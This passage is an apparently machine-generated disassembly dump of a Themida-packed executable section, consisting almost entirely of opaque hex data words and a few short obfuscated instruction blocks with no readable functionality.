87998909h, 0A002078h, 98CBF5F6h, 6F5E0058h dd 0EBBD96FBh, 55001B62h, 89BBD373h, 5082DC7h, 922F9D05h dd 0FF8C00DFh, 1EC9B894h, 4C001B77h, 9F85076Ch, 3B192A9Dh dd 0C4063153h, 3082E077h, 7C135A02h, 806B7354h, 950EDCC0h dd 0A8360040h, 0F3EC0AB8h, 0D0EE6D77h, 67E1CB01h, 0C3BB7339h dd 117F7F4h, 8026BD29h, 4031068Fh, 73E98398h, 0AAB1930Ch dd 9BE004h, 0E3AFB536h, 0A85BE1B0h, 9D665317h, 788D4B00h dd 0FA56FCh, 62B4A96Bh, 2CC4683Ch, 371CAF00h, 0D57BA03Ah dd 0FC4F78BFh, 12F61B82h, 2FE15873h, 99A281FEh, 1F776A93h dd 0A2E45F31h, 6E830098h, 0E3FC1124h, 490029D4h, 0D29E934Eh dd 7D360BC5h, 0AC882839h, 72E50987h, 7D0ACBDDh, 0A2B904D0h dd 0D5F10097h, 101267h, 0C254C90Bh, 1F3DB4FFh, 4A22CCE3h dd 0BD181103h, 0BAD28D1Eh, 37D78015h, 0F047967h, 65FE7DC7h dd 0C563A4AEh, 1FD8CF58h, 431EEEB8h, 0D08069AFh, 2544BE1h dd 0C4514852h, 0A2992E00h, 59490C3Fh, 7B2DC61Dh, 0A702B75Eh dd 412FAC12h, 0D6CC2928h, 772405A6h, 801D8819h, 0ED33CC04h dd 3ABEE700h, 0F5C3095Bh, 560780BBh, 0C5302203h, 986C34D1h dd 0F0271D02h, 4B0F296h, 63A5E635h, 4D0C813Fh, 7BA88124h dd 0CBBAA272h, 8D28C8h, 0CD202F31h, 0FEE99A03h, 564B2200h dd 0E7F3BE63h, 48ADECC2h, 0E4500438h, 0F5BC0319h, 8553745Bh dd 9FCDA000h, 8462349Ah, 2C134CEDh, 30BC6F30h, 511FF1EAh dd 0AC0CEFDh, 83285663h, 0A5C503C1h, 803BB513h, 0FC06BF89h dd 700EEB92h, 805668EAh, 15C744BCh, 87CE9h, 7D06882Ah dd 0E5F776D4h, 6C015200h, 0A3BD377h, 0BB270AE9h, 808CDC9Ch dd 0D0285E7Fh, 500AAFDh, 802E7AE5h, 0EB21668h, 2D93DAFAh dd 700E7347h, 0B7F3EE0Ah, 6C74880Bh, 5B70030h, 6256AEh dd 0C0A42A82h, 28834375h, 7CC5B909h, 0F75B83DFh, 0CC4AC039h dd 48110092h, 0C75A8302h, 0F6010734h, 42A79C2Bh, 0F4308991h dd 26EB007Dh, 5A77524Fh, 0C7000C18h, 0C0F6FBF2h, 3D031997h dd 0F665AEh, 748FE93Ah, 67E00AB0h, 0BC11B400h, 725D9087h dd 387C80h, 0FAFEBD84h, 29EB7EB0h, 66F62A00h, 0C4943E4Fh dd 0F4270CC0h, 640AA7F0h, 0AB355C00h, 9A01EEEh, 940A00E2h dd 0C069F30h, 81E4E88Ch, 566B5901h, 0CB44B77Dh, 3B6EAE0h dd 0A4B408D6h, 8F81D3C8h dd 345DD040h, 5B7CF438h, 7206E0FCh, 38317122h, 82990201h dd 0BA0A342Eh, 0BF06E841h, 0AF8834h, 0CEF06C4Dh, 4166E999h dd 3A00D5F0h, 0AD43BB6Bh, 0B3EB1Ah, 9060861Ch, 111B70Eh dd 832B7F00h, 96CFF56Bh, 0FD6700E6h, 93FED34Ah, 0F098540Fh dd 0C57FEB07h, 20F08C3Eh, 373BD4C0h, 8678AC28h, 30610A0h dd 1E69B9F2h, 2E47120h, 0ACDC04B7h, 2EE2F3D7h, 10281CA1h dd 5906D374h, 7043C567h, 0AB730E11h, 0D000C41Fh, 0E2FDD7D4h dd 37E148D8h, 74872C9Ch, 0E3283EEFh, 2F3F0D0Ch, 0D7342267h dd 0CD0C1980h, 0B71D2CF8h, 2043616Eh, 0B8A5EFE5h, 2E464h dd 0F38A7378h, 68D62DF9h, 9150C701h, 8E7E69C8h, 7BA9DCh dd 19DF6A21h, 67A41EA2h, 0AC152A01h, 71F0384h, 0B06DB443h dd 48AE69D6h, 0E90138E1h, 0DEC4F3C2h, 0A6D5C4ADh, 0B6BBBD18h dd 14DC6F9h, 0CE985066h, 0F8D4AD7Eh, 400EE9Eh, 0D576E1E5h dd 39A4ED48h, 88541469h, 0A8EB056Dh, 807DB4D9h, 8C2E73E0h dd 0B0785100h, 0D2ED9A4Ch, 313D0070h, 58BC9879h, 4603C919h dd 0B93CD3C4h, 0E7A1D0F3h, 69660C4Bh, 0A6596C15h, 0B9D6A204h dd 0BAC024EAh, 195FB775h, 205B8BB6h, 0D560E258h, 8C2E767Fh dd 1E039A69h, 28608BB3h, 9D0F21h, 1301657Eh, 765554F6h dd 2B05F200h, 78D2F31Bh, 0F5768Ch, 25333D14h, 60D749DEh dd 0DCB9892Ah, 0AF6B441Eh, 6F30E03Dh, 294A1Ah, 31B92C4Bh dd 0D0E6CCBh, 0E9A3E301h, 6E379A68h, 0A9F3C180h, 7BA1CD18h dd 74132600h, 8D3D2819h, 24608862h, 9469A968h, 0DCFFA506h dd 61660011h, 657FE270h, 4803C223h, 1226413Fh, 0EFF2D80Eh dd 24BA00BFh, 3ED05903h, 0B3FEB298h, 0E5C2048h, 0E0923F83h dd 46E36B16h, 0D9BA1E7Dh, 2101B93Ch, 989CD2BCh, 55EAC85Ch dd 4259B300h, 0B0D546DDh, 1E470052h, 790F3137h, 260F913Ch dd 38A769Eh, 72073h, 0A5B51149h, 9438A7BCh, 19DD8430h dd 1F96410h, 0F7850648h, 42CDD0E8h, 0F7FC2EB7h, 1E1EFB17h dd 61A30E43h, 4A78063Ah, 612F7A88h, 76ED4101h, 5C31ABC4h dd 0C9012087h, 500592Eh, 0A0AD3DF3h, 0A82C3631h, 7FDC7C78h dd 0BE8300D2h, 8C21C32Eh, 2500C73Dh, 5582DC97h, 39725E3Ah dd 519C2681h, 0F29A421h, 61805CF5h, 0AF97B082h, 422F600h dd 0C78FDB53h, 0B5FA5Bh, 9C09C168h, 6BA90CB1h, 97ACC000h dd 698B2B85h, 147D004Fh, 950A7F92h, 0ED4C499Ch, 6AB41FC9h dd 9FA38780h, 0DC90624h, 0F9BF3461h, 327FE051h, 64CCE200h dd 629D80B7h, 7DF3E9C4h, 2460721h, 0C18F1287h, 83696388h dd 5E49818h, 3E6000F3h, 0F7937B61h, 0EA35CD34h, 0B08058BFh dd 7AE7C084h, 63C2006Fh, 0C8E67FEEh, 6207EDB7h, 6574B6BEh dd 238AAECEh, 0FF0D94h, 0B50199B8h, 655F406Ah, 5E91E00Eh dd 86B7A095h, 288ED4BAh, 0D9BBC4h, 7451BC1Ah, 0AA680E7Eh dd 0D9E158C0h, 907F2h, 49C6903h, 0C4DCE6BAh, 6C65C205h dd 8FC4F418h, 8008C87h, 6DDB09h, 0CEE5A283h, 9B9D71F0h dd 0CD18E663h, 0F2080005h, 40C81A9h, 57004131h, 92EAD119h dd 8DFA0h, 0D888EBDBh, 760E9D63h, 0F300F7FEh, 16CB5FF2h dd 0F6ECC4h, 0B87EBC86h, 76DA225Ah, 0F238EA60h, 75C19E0Eh dd 0A330C7C3h, 0ED67906Dh, 1D30866Ch, 9D8748FAh, 0DAEA0684h dd 0A916936Fh, 751F497Ah, 0F032F1CDh, 6B5C134h, 0EB991h dd 1D280D35h, 3CAF780h, 0FF59A2DFh, 61E94AC2h, 0DB9440F4h dd 0EA001370h, 0C3C95B2Bh, 4F1E0Ah, 0BD33D914h, 26348AEh dd 0D7023790h, 7C29C784h, 828180C3h, 650D5575h, 30D9107Fh dd 0AEE5E404h, 982710C0h, 7A4F7Bh, 5E6BE85Ch, 0B52D4A97h dd 0E3399178h, 9A8F24D2h, 29B1BF0Ch, 12B940D4h, 7428A100h dd 47B4DE86h, 0F4EA00B6h, 23146ECh, 3401B072h, 0FE103A43h dd 0F7F4A656h, 0A31C0367h, 0AA7F667Bh, 0FD7FFF8h, 2B00F17Bh dd 0C8837075h, 5CBACCF9h, 17FB5EDh, 63A6C507h, 0E4919861h dd 0D977AB33h, 0BCC9A000h, 0DCD19C39h, 0BE8700C5h, 0FF302F98h dd 6173828h, 0A600C132h, 3A5CDAC8h, 62AB593Eh, 427B731Fh dd 0EB8874A6h, 635DBE0h, 0C1ACA503h, 0E5BF658Bh, 6F80941Ch dd 0FDFA5CC9h, 7A850A64h, 0F35302h, 7D2F42Dh, 0FE00DF5Ah dd 0AAE37142h, 744D49h, 353C208Fh, 4770410Bh, 8BA6C200h dd 132806CFh, 5A2B0FEDh, 69A11CE0h, 0E8EFA0BDh, 9D00CA6Fh dd 73D1DFBFh, 411562h, 0FE33A117h, 0A3E0E6F6h, 802A6000h dd 66FA6A05h, 0E4B309B0h, 8980A143h, 0F1D8638Bh, 0ECAA8A28h dd 9F7E4500h, 8DB4C99Eh, 0E1520E8Fh, 35C02947h, 5ACB84B2h dd 3C0759FAh, 1AA1C515h, 0A1129882h, 0EEEA24E4h, 2B2EF8h dd 0DF33C072h, 370D92D8h, 0F03A3E01h, 7C905079h, 0FE9748D4h dd 8E60022Fh, 0E7875B35h, 3776B2E0h, 0F5784A00h, 61EBA6A7h dd 49ED1C54h, 8D400020h, 371050DDh, 7B9B6D07h, 7540625Fh dd 0B0A38E95h, 0C8A960EAh, 9E30259h, 0A2E81D12h, 0A2001C12h dd 4990141h, 472C00F0h, 0C7E3B5D9h, 0CE5C0588h, 464500C7h dd 61B8B994h, 0C2A2001Ch, 0D333F50Fh, 93606E83h, 0A98D7AC8h dd 20501F78h, 9F5C8E4Ah, 0D3BD5640h, 8B00A4E2h, 0ED4BF7Dh dd 9454A5h, 4966C0F9h, 3A254092h, 60EB1200h, 41B95F36h dd 0B3CA00A3h, 0E82779C1h, 9B007FD8h, 0E6CCD4F3h, 38175D7Ah dd 0DF8030A0h, 3DCF1BF9h, 480005DEh, 58CB7E44h, 0A037BD85h dd 0FA0CE0D3h, 0BFF70097h, 4F805E47h, 0DF015B53h, 4160B6D4h dd 0EBC8247Ah, 2011006Fh, 365F3BF9h, 2800144Dh, 40B7BEFDh dd 701AA4h, 8ADE4CC1h, 0F9AD96C7h, 0DE4D604h, 14D037B7h dd 36C09h, 0EE4FF51Ah, 4114305h, 69227900h, 19A15ABh, 0D2FE00FFh dd 526FCA36h, 0ED3E8FE4h, 6ED50075h, 43D45508h, 0A5AE004Fh dd 6A225066h, 0DB05FB3Ch, 371389BCh, 0C03F5B82h, 0EE6149D0h dd 2E1B5C6Ah, 66F9AC03h, 0B0D8C2AFh, 50242D9Dh, 0AA00D8B9h dd 47D04D58h, 0D4D70030h, 34DCC176h, 18607A3Bh, 9AF8FDC8h dd 3239131Dh, 884D00D6h, 6D60E93Fh, 8F462509h, 4F78A0B9h dd 7CC6959Ah, 54A60AE7h, 3F45B99h, 7D36AF3Ch, 20FFF7AFh dd 73E812F4h, 0D976B700h, 0E6220CF3h, 0BCC33F2Ah, 0B2273509h dd 9D6938A0h, 38C05FACh, 64AF8567h, 89F0089h, 0F4D9AD9Ch dd 0CF0081E0h, 2FAEA92Dh, 0B65FEEh, 6EDB337h, 0DD7726F3h dd 8C3C4700h, 0D414CE2Eh, 0FFF2005Ch, 0E41E4D27h, 2F00F5EBh dd 85D2CA23h, 0FE564C22h, 0E3F70039h, 0C4C6595Bh, 30E9B537h dd 0EB00CEC6h, 621A9540h, 0BEF478h, 0A21860E6h, 0B49ED598h dd 58C72400h, 0B1FB8B2Ah, 0EAD314C3h, 0EC009087h, 893AEA1h dd 740356D4h, 0FD0D499Dh, 7E67F052h, 0F90E2BEh, 0DA359239h dd 7D5DB460h, 0F701BCAAh, 2CA4B870h, 42ECFDF2h, 3A1600C5h dd 60EE6CC3h, 0C6004CA6h, 2202BB17h, 9C07EBh, 0F73BFF3Eh dd 0C91C0647h, 0B3EE6D09h, 0BA9427CFh, 0B25A150h, 39721FF8h dd 2BE280B1h, 49E8C723h, 7EDB962Fh, 8FD8015Ch, 0D79DEFCBh dd 762DDEA0h, 3A872303h, 0E7AA919Ah, 0FF80F070h, 1037FF2h dd 684F9ECEh, 245A29AFh, 1A1C34A4h, 0B3C0F51Ch, 0EB7C0AFFh dd 60ED5858h, 8C6C3F00h, 0CEFEF6FBh, 0EF69B91Dh, 2800BD12h dd 7472B2B6h, 0FE6006Fh, 0FC09024Fh, 0C1003436h, 5B10E5A0h dd 38AD972h, 0D71B4BF5h, 48A8F983h, 333CDBA2h, 267001C9h dd 4FFCBA97h dd 0CFDFE0h, 0FE60C840h, 0A3E2BA2h db 0 a_JqU0DxN db 'ы.$├÷ [·0╩dXв"n',0 ; DATA XREF: ___:off_43859Co ; ___:off_4385B4o db 20h, 0F8h, 0F3h ; --------------------------------------------------------------------------- cmp cl, ch jmp short loc_5300AD ; --------------------------------------------------------------------------- dd 114F001Dh, 0B8E0E950h ; --------------------------------------------------------------------------- loc_530074: ; CODE XREF: Themida_:005300C4j and dl, [edi] add [eax], dl inc ebp cmp al, 0CAh and al, 23h jmp short loc_5300D8 ; --------------------------------------------------------------------------- align 10h dd 0C21AD032h, 8ACC30Ah, 80F32D3Dh, 0F46050ECh, 0E933Ah dd 244E8A15h, 53776799h, 8C552300h, 909EF0AEh, 0F8F60052h dd 0FE091F98h db 0Ch ; --------------------------------------------------------------------------- loc_5300AD: ; CODE XREF: Themida_:0053006Aj outsd add [edi-744E842Dh], cl aaa push 4 adc ah, ds:0B000806Bh sub [edx+ecx*8], dl loc_5300C0: ; CODE XREF: Themida_:loc_5300C0j jle short loc_5300C0 add [edi], ah jb short loc_530074 ; --------------------------------------------------------------------------- dw 0CD8Eh dd 7BA42ECh, 80316F8Ah, 12FB03BBh, 0E2EAC2D0h ; --------------------------------------------------------------------------- loc_5300D8: ; CODE XREF: Themida_:0053007Dj add [ebx+13h], dl pushf cld test [ecx], ch les ecx, [esi+esi*8] pop esp mov esp, 127B8064h lahf mov ds:0B23E00EFh, ch retn ; --------------------------------------------------------------------------- db 0Dh, 70h, 0D7h dd 0F965F707h, 6181DC8Ah, 1090F084h, 0A75E039Ah, 8FF5BF3h dd 92C9E420h, 23228C00h, 48196866h, 607089FCh, 9F7969B8h dd 0CD13D427h, 820A7166h, 0F9010897h, 98B9B274h, 0C7DDB0CCh dd 10682F50h, 88997B25h, 0D081A300h, 19F045CEh, 0EEB20F4Dh dd 88F870FDh, 2F384F77h, 811F7CC4h, 928049ABh, 47885642h dd 46A70020h, 0A34F50EEh, 8E7E37EFh, 0F3C7200h, 0C481FC3h dd 66E80F41h, 0C05D85F6h, 558C602Eh, 2A0017F5h, 8290B2BEh dd 67A26664h, 90AEE8F4h, 2128B713h, 0E0682E33h, 0C5083019h dd 0B712B621h, 2CF69D00h, 49E9E3F5h, 45890776h, 0A1E27CE8h dd 0FBD80DA2h, 83B61814h, 0F0240294h, 0A099940Eh, 9DB2CEA8h dd 1BC30E6Fh, 7C6C8879h, 0D0A1DF08h, 9D84208Ch, 36B1C202h dd 8ABC46D7h, 65832C88h, 0BB869A22h, 6C110077h, 0F91A3B14h dd 5919C3C2h, 0A408D2F1h, 2C362180h, 8794243Bh, 8406C907h dd 0B8307107h, 0C455090h, 781517F9h, 0E1182310h, 1170E7FEh dd 0A87418E3h, 0DB44D88Ch, 5849FF0Ah, 61919CB8h, 13B71C80h dd 448C2621h, 0ACA0B954h, 6B00CBFEh, 2F0BBCF1h, 180444Ah dd 0BF1C1D45h, 0EC257648h, 0B96C16C7h, 8C85E880h, 6F3B2702h dd 19DCFAF9h, 1F4D10A9h, 0FF743Bh, 0A156A84Bh, 57531C1h dd 0C8F02828h, 3DBAC480h, 10C0C9E8h, 0D88D37C1h, 30B8E7h dd 0D2CCF28Bh, 451CDE16h, 60A76A00h, 0F7F66E66h, 3FB50044h dd 5E3102BAh, 9300B3BFh, 2ED0EB82h, 0EA74F0h, 44096119h dd 0E0A933DDh, 0F14E8901h, 4D81D836h, 6EDC64D1h, 9C01288Bh dd 96E601B7h, 9A25D3B5h, 80ECC435h, 7037B000h, 7C33A8B2h dd 0C23F00DAh, 52B77A69h, 0BB03AAA1h, 0B894CACh, 56D1A805h dd 3DC50060h, 619B7732h, 0F9007E4Bh, 2BD899BCh, 0EED5319Ah dd 76BA1F38h, 0F67800FCh, 95658BF3h, 550019FCh, 0D37E77FBh dd 1C4426F4h, 80E5A1E0h, 99FFA0B2h, 34005F52h, 0AB240BFBh dd 0CD5433ADh, 0DC21B008h, 0BD003477h, 0D8D6881Ch, 0E45AB89Fh dd 4C2A80B1h, 3709431Fh, 8CACC313h, 42241B07h, 68D5092h dd 3B1FA377h, 1A000B44h, 91877E80h, 0E9C41D99h, 0DF8830F5h dd 5F0171FBh, 94ADDDBAh, 88CED82h, 0B5209A26h, 9F711301h dd 0D4DB0A23h, 784EFDCh, 0FF8C2D8Fh, 1BFD904Bh, 31C002E8h dd 906BD323h, 6D773D4Dh, 71B800FDh, 4CD85FA4h, 4363B614h dd 70EA788h, 88C29830h, 0D7823090h, 0FE0F13DBh, 837FCE1Bh dd 1CCAC4BBh, 8C1AFFA9h, 670ED7Bh, 863E8F18h, 19B2F720h dd 299C175Ah, 0E6EAE4B9h, 0B4BE1A01h, 0B5CE12CBh, 9C409DD3h dd 99E9BFCFh, 0F97302h, 5E2D6D80h, 0F669D981h, 9B70FC60h dd 36B8CAh, 7B7E3355h, 0FDB382A3h, 71BA1903h, 13F47685h dd 590899h, 93525834h, 0F4A938CAh, 87918EFh, 540B1134h dd 0F240B7C4h, 0A9C23451h, 56456600h, 0C6DF8C4Fh, 82670054h dd 96C8E07Ch, 44001599h, 877DE2DAh, 169598Ch, 0E0FEF0A5h dd 0E0D23385h, 4C03A376h, 0D44F0468h, 0A8A4910Bh, 0ABDCF0F3h dd 40F60044h, 7BF7B21Dh, 8C008042h, 9E0882DEh, 192038h dd 6E2B942Eh, 22A6E21Bh, 3866A00h, 0AFE627E9h, 7C7299h dd 0DC5461BEh, 85D3FB18h, 63C1C900h, 0F9967E8Bh, 39B7001Ah dd 20979D8h, 8500A7B9h, 0A47D51E9h, 0C159AD28h, 0A8784634h dd 6514409Ch, 7501426Bh, 27B81E2Bh, 5BF07828h, 196F07BAh dd 196D94Eh, 0EF3BB259h, 0C99C1000h, 70A94373h, 7CF8EF63h dd 7711F5Ah, 987E809Fh, 34F0DB10h, 70022F30h, 388F62h dd 297748F5h, 0E7BE752Eh, 43885907h, 0B06020AFh, 6D349C5h dd 2AABC9A4h, 90138D5h, 1FBAE9F4h, 3C8168FAh, 549F91A9h dd 7A9420E6h, 0AD5D5A1Ch, 303A3B0Ch, 96670002h, 6F633CC1h dd 0CF0092AFh, 0AB3BCB5Bh, 2841D31h, 83F7F98Dh, 46001F4Fh dd 6C73722Dh, 0FC20403Fh, 403B0E18h, 0D91F51h, 69653EF2h dd 0A7F8857Eh, 77220800h, 0BF252CC8h, 0D68C00D2h, 3283D527h dd 0D00BADEh, 39574EB7h, 0FE45BA4h, 56964A91h, 0ED8189EBh dd 0C10D11C7h, 0F01860A6h, 3562670Fh, 0DDCBC045h, 13865B8h dd 31FBE45Dh, 0CC91E5CEh, 0F007CD5Ch, 0A8D08E32h, 710A802Eh dd 8E71Ch, 43B58291h, 0B08A3312h, 0DD6D9F00h, 72EB39DBh dd 9127001Ah, 987635A2h, 0F300A3DCh, 7FE7669Eh, 17AC2D4h dd 918DBE0h, 871295F6h, 0EE390D88h, 15AFF83h, 33B6DB50h dd 80524CA5h, 0C5DCCED0h, 60039CD2h, 2309A1EFh, 30C07517h dd 0F7E01E4Fh, 83620048h, 9095D4ADh, 8772CDFBh, 8CA6262Ah dd 7F2FD50Fh, 0A3B56333h, 0E05CF3AEh, 1EB1B642h, 0CECCE8F8h dd 0A8003B41h, 3EC6A582h, 0E6DB300h, 3832BFB6h, 0FD7394h dd 0D58C5039h, 0A372DA21h, 0FC58D228h, 0A87B5E00h, 0E2F98A41h dd 5D610063h, 30E0814h, 461DE33Ch, 813A5516h, 0F6E07E05h dd 97D039C2h, 47D11DDAh, 21621899h, 0F000A41Fh, 17B3C0BDh dd 213588Fh, 0AB38AC3Eh, 0EBC0FEC2h, 0C80449DAh, 6BF16162h dd 598FC880h, 609D7D98h, 19A5485Eh, 502C71B4h, 780CFC4Dh dd 0C0010815h, 0B45BF621h, 333776B0h, 76018A3h, 3F5E0526h dd 3079E3C9h, 8310FC85h, 0EB001A48h, 51F0187Eh, 0E8FA7036h dd 20376012h, 1613499Ah, 739E7D00h, 146EFECFh, 0FC940C36h dd 0B3D9A683h, 30DE39F2h, 1277D901h, 80834F96h, 0B00A9A87h dd 365E2900h, 0BDD651C7h, 36DE704Dh, 98A0E1A3h, 8006CA21h dd 7E2D1A4Eh, 4486F148h, 4500342Ch, 2E0D4413h, 0B65DB2h dd 1A269C41h, 14307553h, 52D00B54h, 2A6098F0h, 9E242710h dd 0B2E42869h, 0D28E008Ah, 0CF846FEEh, 2C00A5FBh, 9FCD05C1h dd 186EB52h, 0C413E0Eh, 0DCC8C42Ah, 220088F4h, 3E742FFh dd 0E169FE0h, 12BFDF4Fh, 43B34020h, 7DF41AC4h, 65183E00h dd 7FDE46E4h, 0D2EA008Fh, 832E4884h, 9207813Ah, 0C860C0A2h dd 0E81F1960h, 0BB640023h, 3361A0BDh, 0B774B334h, 8B6C6600h dd 9DE5272Dh, 1BCA07C7h, 46C01742h, 750021C3h, 6D9B2765h dd 9AA16Eh, 525BC681h, 6B0E55EEh, 28BB8C37h, 0D8C54A50h dd 0ECC11F3Bh, 0E557C338h, 0C4A15E60h, 0A4208017h, 0C22A3A30h dd 49EF00A3h, 35C1F3EEh, 5C7CA1F0h, 0E785A80Eh, 9912C155h dd 304A0F4Ah, 301EB8C4h, 23D88Fh, 6BFAAADh, 216C9FAEh dd 48341330h, 60FCEE4Ah, 23CD6887h, 0F9079384h, 6BE104A1h dd 0E7F60A23h, 805EB555h, 816A998Ch, 0C2D50764h, 0C174F6E5h dd 95885185h, 0A8540E48h, 3BE7B3Ch, 4308B28Ch, 0EB9817FEh dd 88A36415h, 0B641BCA0h, 7C33783Ah, 18567D30h, 0E28F7398h dd 0FFE100E9h, 0CC1BD39Bh, 6F1F5974h, 9880EE40h, 165B79C9h dd 38FC0445h, 0EF2E5FB4h, 0B00348C0h, 29633BA0h, 0EC924A03h dd 0E8A04D8Ah, 4F0041FBh, 0DA8718ACh, 0B60415h, 7C55581Fh dd 0C85FB3D2h, 1286430Fh, 18E9200Fh, 188A491h, 0AA9015B9h dd 0C8815CC7h, 2F0042AEh, 64E3C603h, 0EEBA9716h, 99683B04h dd 6F2BC100h, 4783D9B9h, 21C408CCh, 96EA00C3h, 829313E9h dd 0DC008A98h, 0B1CA5C9Ch, 0F0B032Ah, 0C8041C85h, 31BC6EE0h dd 510E5DCBh, 0D78E4Eh, 9D501B6Ah, 0DA9E0095h, 3E328E0h dd 3ED016AFh, 8AC90610h, 0C248D9B7h, 1E4A6E21h, 0DA09F303h dd 5AE501F8h, 0C0CFD796h, 538D1C90h, 83817460h, 762B1312h dd 0DBFA0C7Eh, 1F081061h, 9C20D760h, 7CE3136Bh, 0B42838A9h dd 8A6D028Fh, 40747227h dd 79032B2Ah, 633E2300h, 0AA78B2DBh, 3F274D3h, 0ED6F076Eh dd 4B901D11h, 85003B03h, 0DA9CDBE4h, 1BFCA80h, 2C5E8127h dd 0F04C82A7h, 25007201h, 0DFAC402Fh, 0BB7A93h, 5CBA59E2h dd 86C0AAD1h, 879E8A0Fh, 3CC6C0E4h, 13A3CE55h, 0C464E7h dd 4A2DEF70h, 661E0E61h, 0F58F4119h, 0E4948558h, 845BF000h dd 286ACAh, 802EC45Fh, 678579B0h, 7EDB2300h, 0E2582D62h dd 17FB005Ch, 0A522D425h, 0AC24DDB3h, 2D00B180h, 575B6BDBh dd 0EAAF3EE2h, 90D92030h, 0CD00A470h, 0BD9F617Eh, 0EBF3A9h dd 0DD0FD3DCh, 948EA06Ah, 0AF47DA00h, 74583A66h, 383F8E4h dd 59DBDED9h, 87CEF1Ch, 0E7E9AE00h, 99110B16h, 430D0FADh dd 8BC03038h, 0EB5E9858h, 3F008C7Dh, 960EA9B2h, 7A2126AFh dd 0C5223F89h, 2C73789Eh, 5669079Ch, 0B7249062h, 3900CB37h dd 3812D9A8h, 3A8F96FBh, 0E00353FCh, 59DA8680h, 0CBDD500Ch dd 5C58AEh, 0AB8A0521h, 0EB91A6BEh, 8200F898h, 0CA9257DCh dd 7A02477h, 0C6349E5Dh, 8EEFC00Fh, 70FADF1h, 0D26DC9h dd 58BFC28Ch, 52B130EEh, 19042FB1h, 833F0B07h, 7F71919Fh dd 3CE83850h, 18097F7Ah, 989AC4E5h, 51F5D9A7h, 0BE36CC0Ch dd 4B381838h, 1E0C5351h, 24684A9Ch, 267B0064h, 0FFE6B7BEh dd 7E048600h, 9FB80B22h, 1EECE9B1h, 12D1E85h, 0E1B7C09Ah dd 0E267434Ch, 21C0BDE8h, 1B0115AFh, 0FC9C7C68h, 0E7A53ED5h dd 77E4E503h, 0FCD02530h, 0C5241BF1h, 0E11F3F56h, 8E949186h dd 0C6AB0729h, 0F0142337h, 81E4C862h, 5560AC74h, 0BD4EE560h dd 0A475003Eh, 9A8A3CFEh, 0B6069F6Fh, 3F5AE857h, 4D410788h dd 0CC5C080Ch, 68C8E599h, 37FAC09Dh, 0BD761447h, 224F4486h dd 420C6800h, 8E039814h, 51BB0FE8h, 30FD253Ch, 68FF1971h dd 0C95C3732h, 0F4C9319Ch, 15461440h, 653040h, 0CED03EB8h dd 4DF9760Ch, 9A2DF11Dh, 20DC00FFh, 2C7EB51Ah, 18363DF4h dd 55950B00h, 0FC6DC102h, 0B7826B00h, 92DB906h, 0C92B0190h dd 391AA4A2h, 19AC48F3h, 5388DF18h, 28DA10h, 9B331894h dd 0AB387D8Ah, 9F3DCD00h, 649DB4F7h, 0C0930339h, 8F01F888h dd 12F0AE80h, 33B91506h, 1C0C953Fh, 8CD130h, 1755F4C1h dd 0F2009F96h, 0CA222AC4h, 3D620CFAh, 0A80002B3h, 329063DBh dd 2500C43Eh, 24DCEC88h, 7B6EF35Ah, 53B7006Dh, 4DA9FC14h dd 8F004B2Eh, 8B5BD1DBh, 0E3229Ch, 7C574CE5h, 785A0604h dd 41608F00h, 2FBFDB0Dh, 0E9B4014Bh, 2DDA619Dh, 69A8E8D0h dd 14249CBh, 9DDFCAEFh, 714ECE4h, 273E2635h, 64344096h dd 5730B905h, 87C5314Eh, 14A001E9h, 76BE9309h, 0A27CDC6Fh dd 0DB4BFB00h, 8B52A82Dh, 78F930C1h, 0EF2A6A10h, 8F69BC03h dd 60DDD4E1h, 16C91889h, 0B008052h, 0A9036FD0h, 0BE7881h dd 0A32E608Eh, 0EAA3D22h, 0F9BAEE03h, 98BC9B6Eh, 0FC438A08h dd 2EE8C0A9h, 40153A16h, 0D98C0600h, 0C8F32CDAh, 0A9ED7078h dd 4A702E80h, 568400E6h, 0A3F8D1A9h, 900B97F6h, 0C09C823h dd 66E1B2h, 96E3F7D3h, 7A70D469h, 847CA77Eh, 72C0C600h dd 0AEF01AEh, 15712Dh, 225DDDBDh, 4C8C2C79h, 29BB8E19h dd 0CA306048h, 0DED8009Fh, 0EFCEC46Fh, 0CD000CA2h, 0EB9B99B7h dd 64E6F3h, 431F5DE7h, 284CEA94h, 7A658900h, 0A2EE667Ch dd 3444002Ch, 48C91C9h, 0AE60418Eh, 3FBD0C18h, 0AFB70092h dd 9B32EA69h, 36010F07h, 0BB8FA3C3h, 0EE1187F6h, 9D75C442h dd 0BFBE1518h, 0EB12B620h, 1DBD5FF0h, 94ABCDh, 244D7165h dd 0AE061DFDh, 2EFEFC3Eh, 1E16F890h, 0CBFEF3Dh, 9B80CC4Eh dd 3E9D505Ch, 3563F30h, 76153F80h, 0AE8FF88Bh, 7323EC3h dd 9EEB9Eh, 0E6A8E516h, 981D23F2h, 19717A15h, 4213D5DDh dd 40A826E7h, 6EEF6B01h, 36A5D46h, 0A8C16130h, 437CA0h dd 2F942CFFh, 150ED9FBh, 6CC2A800h, 67052C4h, 0DDD30CDBh dd 0A18ED5AAh, 7A3BED06h, 1D39D77Eh, 0E26CBA8h, 98CEF7D5h dd 646E97C0h, 0F53EE325h, 7440002Fh, 900ACC9Fh, 0ED364422h dd 20EBF100h, 0C8BF706Dh, 2662066Fh, 2053D232h, 5155D507h dd 34802B23h, 1FCA3C15h, 409D4992h, 80985ABFh, 0CD171BFDh dd 0E10037F1h, 18789104h, 46C10E9Fh, 0C4630ED2h, 0DBAAE786h dd 0B99B980h, 0AD183CF7h, 0D1D0E287h, 70AE81F4h, 8800FB5Bh dd 1ABDE88Ch, 32C8F26h, 0D6AA3AFFh, 99B0D586h, 0FC003C50h dd 96524C06h, 49087Fh, 56E90CC5h, 2465DE6Eh, 0FF3A5E90h dd 4B350E33h, 80D20EB5h, 57C2F726h, 617000EAh, 7560334Ch dd 2B07DF73h, 8D55B1A8h, 0D3267760h, 0C08374CDh, 9EBD3940h dd 240096D4h, 32D5D82h, 0E65395h, 21ADB2F4h, 0C9A69D39h dd 0DE735200h, 891AA177h, 0E00803FAh, 795588F4h, 4165A4D1h dd 0DC7C77E4h, 2F001E20h, 5D1CFF8Ah, 0E4675823h, 0F5390031h dd 3D61A2D4h, 520038BDh, 620324BCh, 3718A0E6h, 76984D22h dd 0D91DA180h, 0E0F75127h, 957B46C0h, 2CA72E8h, 89F556ADh dd 84802BD7h, 87622A1h, 0E9E0390Dh, 3130417Bh, 0BDC30C16h dd 5578A31Ch, 0B069A600h, 0D54CF424h, 595401D7h, 0B7FAE12Eh dd 0FB7CD410h, 0E6F8F301h, 9B895F46h, 15AC3420h, 24BB3B6Ch dd 604F10h, 8AF3F5AFh, 182C80FDh, 0B0D3A3C0h, 4C6048C5h dd 